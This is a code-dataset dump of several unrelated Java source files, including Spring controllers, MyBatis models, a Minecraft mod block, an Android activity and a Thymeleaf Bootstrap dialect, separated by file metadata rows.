* 点击图文消息跳转链接
*/
private String url;
/**
* need_open_comment
* 是否打开评论,0不打开,1打开
*/
private Boolean needOpenComment;
/**
* only_fans_can_comment
* 是否粉丝才可评论,0所有人可评论,1粉丝才可评论
*/
private Boolean onlyFansCanComment;
public String getThumbMediaId() {
return this.thumbMediaId;
}
public void setThumbMediaId(String thumbMediaId) {
this.thumbMediaId = thumbMediaId;
}
public String getAuthor() {
return this.author;
}
public void setAuthor(String author) {
this.author = author;
}
public String getTitle() {
return this.title;
}
public void setTitle(String title) {
this.title = title;
}
public String getContentSourceUrl() {
return this.contentSourceUrl;
}
public void setContentSourceUrl(String contentSourceUrl) {
this.contentSourceUrl = contentSourceUrl;
}
public String getContent() {
return this.content;
}
public void setContent(String content) {
this.content = content;
}
public String getDigest() {
return this.digest;
}
public void setDigest(String digest) {
this.digest = digest;
}
public boolean isShowCoverPic() {
return this.showCoverPic;
}
public void setShowCoverPic(boolean showCoverPic) {
this.showCoverPic = showCoverPic;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
this.url = url;
}
public String getThumbUrl() {
return this.thumbUrl;
}
public void setThumbUrl(String thumbUrl) {
this.thumbUrl = thumbUrl;
}
public Boolean getNeedOpenComment() {
return this.needOpenComment;
}
public void setNeedOpenComment(Boolean needOpenComment) {
this.needOpenComment = needOpenComment;
}
public Boolean getOnlyFansCanComment() {
return this.onlyFansCanComment;
}
public void setOnlyFansCanComment(Boolean onlyFansCanComment) {
this.onlyFansCanComment = onlyFansCanComment;
}
@Override
public String toString() {
return ToStringUtils.toSimpleString(this);
}
}
}
| 21.311927 | 70 | 0.649591 |
4ebf1f6f26a83eb3215ec5de90d336f76176cc5e | 778 | package com.gitaristik.edgeauthservice.util;
import com.gitaristik.edgeauthservice.security.entity.Rol;
import com.gitaristik.edgeauthservice.security.enums.RolNombre;
import com.gitaristik.edgeauthservice.security.service.RolService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.stereotype.Component;
@Component
public class CreateRoles implements CommandLineRunner {
@Autowired
private RolService rolService;
@Override
public void run(String... args) throws Exception {
// Rol rolAdmin = new Rol(RolNombre.ROLE_ADMIN);
// Rol rolUser = new Rol(RolNombre.ROLE_USER);
// rolService.save(rolAdmin);
// rolService.save(rolUser);
}
} | 33.826087 | 66 | 0.772494 |
c676144dae950fa94681d0cec827bdcb97213b82 | 4,274 | package com.lazynessmind.blockactions.actions.hitaction;
import com.lazynessmind.blockactions.actions.placeaction.PlacerBlock;
import com.lazynessmind.blockactions.base.BlockActionTileEntity;
import com.lazynessmind.blockactions.event.TileEntityRegister;
import net.minecraft.entity.LivingEntity;
import net.minecraft.nbt.CompoundNBT;
import net.minecraft.util.DamageSource;
import net.minecraft.util.Direction;
import net.minecraft.util.math.AxisAlignedBB;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.text.TranslationTextComponent;
import net.minecraft.world.World;
import javax.annotation.Nonnull;
public class HitTileEntity extends BlockActionTileEntity {
private static final String TAG_DAMAGE = "Damage";
public float baseDamage = 1f;
private static final String TAG_ONLY_ADULT = "AttackOnlyAdults";
public boolean attackOnlyAdults = false;
private float dmg;
private Direction direction;
public HitTileEntity() {
super(TileEntityRegister.HIT_TILE.get());
}
@Override
public void tick() {
if (this.world != null) {
if (!this.world.isRemote) {
this.setFakePlayer(this.world, "HitPlayer");
if (this.getBlockState().has(PlacerBlock.FACING)) {
this.direction = this.getBlockState().get(PlacerBlock.FACING);
}
this.decreaseWorkTime();
if(this.isEnergyMode()){
this.energyManager.canInsert(true);
if(this.canWork()){
this.doWork(this.world, this.pos, true);
}
}
}
}
}
@Override
public void doWork(@Nonnull World world, BlockPos pos, boolean energyMode) {
if (this.getFacing() != null) {
BlockPos posAtFacing = this.pos.offset(this.getFacing());
AxisAlignedBB area = new AxisAlignedBB(posAtFacing);
this.dmg = (float) HitUtils.getDamage(this.baseDamage, this.world, posAtFacing).getValue();
if(this.isEnergyMode() && !this.energyManager.canRemove(this.getEnergyCost())) return;
for (LivingEntity livingEntity : this.world.getEntitiesWithinAABB(LivingEntity.class, area)) {
if (this.attackOnlyAdults) {
if (!livingEntity.isChild()) {
this.attackEntities(posAtFacing, livingEntity, dmg);
HitUtils.damageItem(world, posAtFacing, this.getFakePlayer());
}
} else {
this.attackEntities(posAtFacing, livingEntity, dmg);
HitUtils.damageItem(world, posAtFacing, this.getFakePlayer());
}
if(energyMode) this.energyManager.removeEnergy(this.getEnergyCost());
}
this.setWorkTime(this.getCoolDown());
}
}
private void attackEntities(BlockPos posAtFacing, LivingEntity livingEntity, float dmg) {
if (HitUtils.causeFireDamage(world, posAtFacing)) {
livingEntity.attackEntityFrom(DamageSource.ON_FIRE, dmg);
livingEntity.setFire(3);
} else {
livingEntity.attackEntityFrom(DamageSource.GENERIC, dmg);
}
}
@Override
public void read(CompoundNBT compound) {
super.read(compound);
this.baseDamage = compound.getFloat(TAG_DAMAGE);
this.attackOnlyAdults = compound.getBoolean(TAG_ONLY_ADULT);
}
@Override
public CompoundNBT write(CompoundNBT compound) {
CompoundNBT nbt = super.write(compound);
nbt.putFloat(TAG_DAMAGE, this.baseDamage);
nbt.putBoolean(TAG_ONLY_ADULT, this.attackOnlyAdults);
return nbt;
}
public Direction getFacing() {
return this.direction;
}
@Override
public CompoundNBT getInfo() {
CompoundNBT nbt = super.getInfo();
nbt.putString("damage", new TranslationTextComponent("infooverlay.hit.damage").appendText(String.valueOf(this.dmg)).getFormattedText());
if (this.attackOnlyAdults) {
nbt.putString("onlyAdults", new TranslationTextComponent("infooverlay.hit.onlyadults").getFormattedText());
}
return nbt;
}
}
| 36.220339 | 144 | 0.640618 |
1cddc9b8fb3dcf43c0ac4658ef4050992ca33f1b | 4,070 | package wang.raye.springboot.model;
import java.util.Date;
public class Symbols {
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column symbols.id
*
* @mbg.generated
*/
private Integer id;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column symbols.exchange
*
* @mbg.generated
*/
private String exchange;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column symbols.symbol
*
* @mbg.generated
*/
private String symbol;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column symbols.price
*
* @mbg.generated
*/
private Double price;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column symbols.time
*
* @mbg.generated
*/
private Date time;
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column symbols.id
*
* @return the value of symbols.id
*
* @mbg.generated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column symbols.id
*
* @param id the value for symbols.id
*
* @mbg.generated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column symbols.exchange
*
* @return the value of symbols.exchange
*
* @mbg.generated
*/
public String getExchange() {
return exchange;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column symbols.exchange
*
* @param exchange the value for symbols.exchange
*
* @mbg.generated
*/
public void setExchange(String exchange) {
this.exchange = exchange == null ? null : exchange.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column symbols.symbol
*
* @return the value of symbols.symbol
*
* @mbg.generated
*/
public String getSymbol() {
return symbol;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column symbols.symbol
*
* @param symbol the value for symbols.symbol
*
* @mbg.generated
*/
public void setSymbol(String symbol) {
this.symbol = symbol == null ? null : symbol.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column symbols.price
*
* @return the value of symbols.price
*
* @mbg.generated
*/
public Double getPrice() {
return price;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column symbols.price
*
* @param price the value for symbols.price
*
* @mbg.generated
*/
public void setPrice(Double price) {
this.price = price;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column symbols.time
*
* @return the value of symbols.time
*
* @mbg.generated
*/
public Date getTime() {
return time;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column symbols.time
*
* @param time the value for symbols.time
*
* @mbg.generated
*/
public void setTime(Date time) {
this.time = time;
}
} | 23.941176 | 76 | 0.599754 |
69fa6982944721ebffc4ed0a3fb66debe621f558 | 1,384 | /*
* ***** BEGIN LICENSE BLOCK *****
* Zimbra Collaboration Suite Server
* Copyright (C) 2011, 2013, 2014, 2016 Synacor, Inc.
*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software Foundation,
* version 2 of the License.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License along with this program.
* If not, see <https://www.gnu.org/licenses/>.
* ***** END LICENSE BLOCK *****
*/
package com.zimbra.cs.account;
import java.util.Set;
import com.zimbra.common.service.ServiceException;
public interface AliasedEntry {
/*
* entry with aliases
*/
/**
* returns whether addr is the entry's primary address or
* one of the aliases.
*
* @param addr
* @return
*/
public boolean isAddrOfEntry(String addr);
public String[] getAliases() throws ServiceException;
/**
* returns all addresses of the entry, including primary address and
* all aliases.
*
* @return
*/
public Set<String> getAllAddrsSet();
}
| 28.833333 | 93 | 0.674855 |
9c8e8d5cfc156309949240ae05dca455861cb9dc | 1,573 | package com.ruipeng.controller;
import com.ruipeng.pojo.AuthorityTa;
import com.ruipeng.pojo.EasyuiPageParam;
import com.ruipeng.service.AuthorityManagerService;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.Resource;
/**
* Created by ruipeng on 2018/5/13.
* 权限管理
*/
@RestController
public class AuthorityManagerController {
@Resource
private AuthorityManagerService authorityManagerService;
@RequestMapping(value = "/authorityList", produces = "application/json;charset=utf8")
@ResponseBody
public EasyuiPageParam authorityList(AuthorityTa authorityTa, Integer page, Integer rows) {
return authorityManagerService.authorityList(authorityTa,page,rows);
}
@RequestMapping(value = "/authorityDelete", produces = "application/json;charset=utf8")
@ResponseBody
public Integer authorityDelete(String ids){
return authorityManagerService.authorityDelete(ids);
}
@RequestMapping(value = "/authorityAdd", produces = "application/json;charset=utf8")
@ResponseBody
public Integer authorityAdd(AuthorityTa authorityTa){
return authorityManagerService.authorityAdd(authorityTa);
}
@RequestMapping(value = "/authorityUpdate", produces = "application/json;charset=utf8")
@ResponseBody
public Integer authorityUpdate(AuthorityTa authorityTa){
return authorityManagerService.authorityUpdate(authorityTa);
}
}
| 34.955556 | 96 | 0.771774 |
55ae71cb9d5e9d4043b2938179f64263d54b8873 | 2,846 | package gov.healthit.chpl.scheduler.job.chartdata;
import java.util.List;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Async;
import org.springframework.scheduling.annotation.EnableAsync;
import org.springframework.stereotype.Component;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.context.support.SpringBeanAutowiringSupport;
import gov.healthit.chpl.dao.statistics.NonconformityTypeStatisticsDAO;
import gov.healthit.chpl.dao.statistics.SurveillanceStatisticsDAO;
import gov.healthit.chpl.dto.NonconformityTypeStatisticsDTO;
import gov.healthit.chpl.exception.EntityRetrievalException;
@Component("nonconformityTypeChartCalculator")
@EnableAsync
public class NonconformityTypeChartCalculator {
private static final Logger LOGGER = LogManager.getLogger("chartDataCreatorJobLogger");
@Autowired
private SurveillanceStatisticsDAO statisticsDAO;
@Autowired
private NonconformityTypeStatisticsDAO nonconformityTypeStatisticsDAO;
public NonconformityTypeChartCalculator() {
SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
}
public void logCounts(List<NonconformityTypeStatisticsDTO> dtos) {
for (NonconformityTypeStatisticsDTO dto : dtos) {
if (!StringUtils.isEmpty(dto.getNonconformityType())) {
LOGGER.info("Criteria: " + dto.getNonconformityType() + " Number of NCs: " + dto.getNonconformityCount());
} else if (dto.getCriterion() != null) {
LOGGER.info("Criteria: " + dto.getCriterion().getNumber()
+ "(" + dto.getCriterion().getTitle() + ") " + " Number of NCs: " + dto.getNonconformityCount());
}
}
}
@Transactional
@Async
public List<NonconformityTypeStatisticsDTO> getCounts() {
List<NonconformityTypeStatisticsDTO> dtos = statisticsDAO.getAllNonconformitiesByCriterion();
return dtos;
}
@Transactional
@Async
private void deleteExistingNonconformityStatistics() throws EntityRetrievalException {
nonconformityTypeStatisticsDAO.deleteAllOldNonConformityStatistics();
}
@Transactional
@Async
public void saveCounts(List<NonconformityTypeStatisticsDTO> dtos) {
try {
deleteExistingNonconformityStatistics();
} catch (EntityRetrievalException e) {
LOGGER.error("Error occured while deleting existing ParticipantExperienceStatistics.", e);
return;
}
for (NonconformityTypeStatisticsDTO dto : dtos) {
nonconformityTypeStatisticsDAO.create(dto);
}
}
}
| 38.459459 | 122 | 0.73858 |
6abce2f55a96a86725f3202f00bd2660cc1f081d | 7,738 | /*
* =============================================================================
*
* Copyright (c) 2021, The Rifat Yilmaz (rifyilmaz.github.com)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* =============================================================================
*/
package com.github.thymeboots.thymeleaf.bootstrap.dialect;
import java.util.HashSet;
import java.util.Set;
import org.thymeleaf.dialect.AbstractProcessorDialect;
import org.thymeleaf.processor.IProcessor;
import org.thymeleaf.standard.StandardDialect;
/**
* <p>
* Bootstrap Dialect. This is the class containing the implementation of Thymeleaf Bootstrap Dialect, including all
* {@code tb:*} processors, expression objects, etc.
* </p>
* <p>
* Note this dialect uses <strong>Thymeleaf</strong> dialects and <strong>OGNL</strong> as an expression language
* </p>
* <p>
* Note this class compatible Thymeleaf 3.0, Bootstrap 4.2.1, Jquery 3.0.0, Font Awesome Free 5.11.2
* </p>
* <p>
* Note a class with this name existed since 3.4.0
* </p>
*
* @author Rifat Yilmaz
*
* @since 3.4.0
*
*/
public class BootstrapDialect extends AbstractProcessorDialect {
private static final int PRECEDENCE = StandardDialect.PROCESSOR_PRECEDENCE; //1000;
private static final String BOOTSTRAP_VERSION = "4.2.1";
public BootstrapDialect() {
super(
"Bootstrap", // Dialect name
"tb", // Dialect prefix (tb:*)
PRECEDENCE);
}
@Override
public Set<IProcessor> getProcessors(String dialectPrefix) {
Set<IProcessor> processors = new HashSet<IProcessor>();
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsA( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsAccordion( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsAlert( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsBadge( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsButton( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsButtonGroup( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsButtonDrop( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsButtonModal( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsCard( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsCarousel( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsCarouselCaption(dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsCarouselItem( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsCollapse( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsColumn( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsContainer( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsDivider( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsFacet( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsFormfloat( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsFormgroup( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsForminline( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsFormline( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsIcon( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsImg( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsInputgroup( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsJumbotron( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsLabel( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsModal( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsNavbar( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsNavbarList( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsNavDropItem( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsNavDropMenu( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsNavLink( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsNavList( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsProgress( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsRow( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsSpinner( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsTab( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsTabView( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsInput( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsPassword( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsSelect( dialectPrefix, BOOTSTRAP_VERSION));
processors.add(new com.github.thymeboots.thymeleaf.bootstrap.tag.TagBsTextarea( dialectPrefix, BOOTSTRAP_VERSION));
return processors;
}
} | 66.706897 | 137 | 0.715947 |
4edd144eb15db73b3c30e90a2abd214b3f11fad1 | 2,192 | package com.example.administrator.weixin;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.ImageView;
import android.widget.RelativeLayout;
import android.widget.TextView;
import butterknife.ButterKnife;
import butterknife.InjectView;
import butterknife.OnClick;
public class AddFriendsOneActivity extends Activity {
@InjectView(R.id.iv_back)
ImageView ivBack;
@InjectView(R.id.view_temp)
View viewTemp;
@InjectView(R.id.title)
RelativeLayout title;
@InjectView(R.id.tv_search)
TextView tvSearch;
@InjectView(R.id.iv_leida)
ImageView ivLeida;
@InjectView(R.id.iv_jianqun)
ImageView ivJianqun;
@InjectView(R.id.iv_lianxiren)
ImageView ivLianxiren;
@InjectView(R.id.iv_ggh)
ImageView ivGgh;
@InjectView(R.id.iv_saoyisao)
ImageView ivSaoyisao;
@InjectView(R.id.saoma)
RelativeLayout saoma;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_addfriends);
ButterKnife.inject(this);
}
@OnClick({R.id.iv_back, R.id.view_temp, R.id.title, R.id.tv_search, R.id.iv_leida, R.id.iv_jianqun,R.id.saoma, R.id.iv_saoyisao, R.id.iv_lianxiren, R.id.iv_ggh})
public void onClick(View view) {
switch (view.getId()) {
case R.id.iv_back:
finish();
break;
case R.id.view_temp:
break;
case R.id.title:
break;
case R.id.tv_search:
startActivity(new Intent(AddFriendsOneActivity.this, AddFriendsTwoActivity.class));
break;
case R.id.iv_leida:
break;
case R.id.iv_jianqun:
break;
case R.id.saoma:
startActivity(new Intent(AddFriendsOneActivity.this, SaoMaActivity.class));
break;
case R.id.iv_saoyisao:
break;
case R.id.iv_lianxiren:
break;
case R.id.iv_ggh:
break;
}
}
}
| 28.842105 | 165 | 0.625912 |
3e78b74a2d4efc13ab694796b2a3828bf0db67c3 | 3,085 | package de.metas.impexp.parser;
import lombok.Builder;
import lombok.NonNull;
import lombok.ToString;
import org.adempiere.exceptions.AdempiereException;
import org.compiere.util.Util;
import org.springframework.core.io.Resource;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Stream;
/*
* #%L
* de.metas.adempiere.adempiere.base
* %%
* Copyright (C) 2019 metas GmbH
* %%
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public
* License along with this program. If not, see
* <http://www.gnu.org/licenses/gpl-2.0.html>.
* #L%
*/
@ToString
public final class ImpDataParser
{
private final boolean multiline;
private final @NonNull ImpDataLineParser lineParser;
private final @NonNull Charset charset;
private final int skipFirstNRows;
@Builder
private ImpDataParser(
final boolean multiline,
@NonNull final ImpDataLineParser lineParser,
@NonNull final Charset charset,
final int skipFirstNRows
)
{
this.multiline = multiline;
this.lineParser = lineParser;
this.charset = charset;
this.skipFirstNRows = Math.max(skipFirstNRows,0);
}
public Stream<ImpDataLine> streamDataLines(final Resource resource)
{
final AtomicInteger nextLineNo = new AtomicInteger(1);
return streamSourceLines(resource)
.skip(skipFirstNRows)
.map(lineStr -> createImpDataLine(lineStr, nextLineNo));
}
private Stream<String> streamSourceLines(final Resource resource)
{
final byte[] data = toByteArray(resource);
try
{
if (multiline)
{
return FileImportReader.readMultiLines(data, charset).stream();
}
else
{
return FileImportReader.readRegularLines(data, charset).stream();
}
}
catch (final IOException ex)
{
throw new AdempiereException("Failed reading resource: " + resource, ex);
}
}
private static byte[] toByteArray(final Resource resource)
{
try
{
return Util.readBytes(resource.getInputStream());
}
catch (final IOException ex)
{
throw new AdempiereException("Failed reading resource: " + resource, ex);
}
}
private ImpDataLine createImpDataLine(final String lineStr, final AtomicInteger nextLineNo)
{
try
{
return ImpDataLine.builder()
.fileLineNo(nextLineNo.getAndIncrement())
.lineStr(lineStr)
.cells(lineParser.parseDataCells(lineStr))
.build();
}
catch (final Exception ex)
{
return ImpDataLine.builder()
.fileLineNo(nextLineNo.getAndIncrement())
.lineStr(lineStr)
.parseError(ErrorMessage.of(ex))
.build();
}
}
}
| 25.708333 | 92 | 0.732901 |
eb4164b7ab0e58ed8f872881033523d09e134d9d | 5,592 | package com.epam.potato.service.bag;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyNoMoreInteractions;
import static org.mockito.Mockito.verifyZeroInteractions;
import static org.mockito.Mockito.when;
import static org.testng.Assert.assertEquals;
import static org.testng.Assert.assertTrue;
import java.util.Collections;
import java.util.List;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageImpl;
import org.springframework.data.domain.PageRequest;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
import com.epam.potato.api.domain.bag.PotatoBag;
import com.epam.potato.dao.entity.bag.PotatoBagEntity;
import com.epam.potato.dao.repository.bag.PotatoBagRepository;
import com.epam.potato.service.bag.exception.InvalidPotatoBagException;
public class PotatoBagServiceTest {
private static final int DEFAULT_COUNT = 3;
@Mock
private PotatoBagRepository potatoBagRepository;
@Mock
private PotatoBagTransformer potatoBagTransformer;
@InjectMocks
private PotatoBagService underTest;
@BeforeMethod
public void setUp() {
MockitoAnnotations.initMocks(this);
}
@Test
public void testCreate() {
// GIVEN
PotatoBag potatoBag = createPotatoBag();
PotatoBagEntity potatoBagEntity = createPotatoBagEntity();
// WHEN
when(potatoBagTransformer.transform(potatoBag)).thenReturn(potatoBagEntity);
when(potatoBagRepository.save(potatoBagEntity)).thenReturn(potatoBagEntity);
when(potatoBagTransformer.transform(potatoBagEntity)).thenReturn(potatoBag);
PotatoBag actual = underTest.create(potatoBag);
// THEN
verify(potatoBagTransformer).transform(potatoBag);
verify(potatoBagRepository).save(potatoBagEntity);
verify(potatoBagTransformer).transform(potatoBagEntity);
verifyNoMoreInteractions(potatoBagTransformer, potatoBagRepository);
assertEquals(actual, potatoBag);
}
@Test
public void testCreateShouldFailWhenInputIsNull() {
// GIVEN
// WHEN
Exception actual = null;
try {
underTest.create(null);
}
catch (Exception exception) {
actual = exception;
}
// THEN
verifyZeroInteractions(potatoBagTransformer, potatoBagRepository);
assertTrue(actual instanceof InvalidPotatoBagException);
}
@Test
public void testGetPotatoBags() {
// GIVEN
PotatoBagEntity potatoBagEntity = createPotatoBagEntity();
Page<PotatoBagEntity> potatoBagEntities = new PageImpl(List.of(potatoBagEntity, potatoBagEntity, potatoBagEntity));
PotatoBag potatoBag = createPotatoBag();
// WHEN
when(potatoBagRepository.findAll(PageRequest.of(0, DEFAULT_COUNT))).thenReturn(potatoBagEntities);
when(potatoBagTransformer.transform(potatoBagEntity)).thenReturn(potatoBag);
List<PotatoBag> actual = underTest.getPotatoBags(DEFAULT_COUNT);
// THEN
verify(potatoBagRepository).findAll(PageRequest.of(0, DEFAULT_COUNT));
verify(potatoBagTransformer, times(DEFAULT_COUNT)).transform(potatoBagEntity);
verifyNoMoreInteractions(potatoBagRepository, potatoBagTransformer);
List<PotatoBag> expected = List.of(potatoBag, potatoBag, potatoBag);
assertEquals(actual, expected);
}
@Test
public void testGetPotatoBagsWhenCountIsNegative() {
// GIVEN
PotatoBagEntity potatoBagEntity = createPotatoBagEntity();
Page<PotatoBagEntity> potatoBagEntities = new PageImpl(List.of(potatoBagEntity, potatoBagEntity, potatoBagEntity, potatoBagEntity));
PotatoBag potatoBag = createPotatoBag();
// WHEN
when(potatoBagRepository.findAll()).thenReturn(potatoBagEntities);
when(potatoBagTransformer.transform(potatoBagEntity)).thenReturn(potatoBag);
List<PotatoBag> actual = underTest.getPotatoBags(-1);
// THEN
verify(potatoBagRepository).findAll();
verify(potatoBagTransformer, times(4)).transform(potatoBagEntity);
verifyNoMoreInteractions(potatoBagRepository, potatoBagTransformer);
List<PotatoBag> expected = List.of(potatoBag, potatoBag, potatoBag, potatoBag);
assertEquals(actual, expected);
}
@Test
public void testGetPotatoBagsWhenCountIsZero() {
// GIVEN
// WHEN
List<PotatoBag> actual = underTest.getPotatoBags(0);
// THEN
verifyZeroInteractions(potatoBagRepository, potatoBagTransformer);
assertEquals(actual.size(), 0);
}
@Test
public void testGetPotatoBagsWhenThereAreNoEntries() {
// GIVEN
// WHEN
when(potatoBagRepository.findAll(PageRequest.of(0, DEFAULT_COUNT))).thenReturn(new PageImpl(Collections.emptyList()));
List<PotatoBag> actual = underTest.getPotatoBags(DEFAULT_COUNT);
// THEN
verifyZeroInteractions(potatoBagTransformer);
verify(potatoBagRepository).findAll(PageRequest.of(0, DEFAULT_COUNT));
verifyNoMoreInteractions(potatoBagRepository);
assertEquals(actual.size(), 0);
}
private PotatoBag createPotatoBag() {
return new PotatoBag.Builder()
.build();
}
private PotatoBagEntity createPotatoBagEntity() {
return new PotatoBagEntity();
}
}
| 33.285714 | 140 | 0.716202 |
ab2fc3f1ed768dc926002a0176dea7fe0c4be194 | 5,702 | ////////////////////////////////////////////////////////////////////////////////
// Copyright 2021 Cosgy Dev /
// /
// Licensed under the Apache License, Version 2.0 (the "License"); /
// you may not use this file except in compliance with the License. /
// You may obtain a copy of the License at /
// /
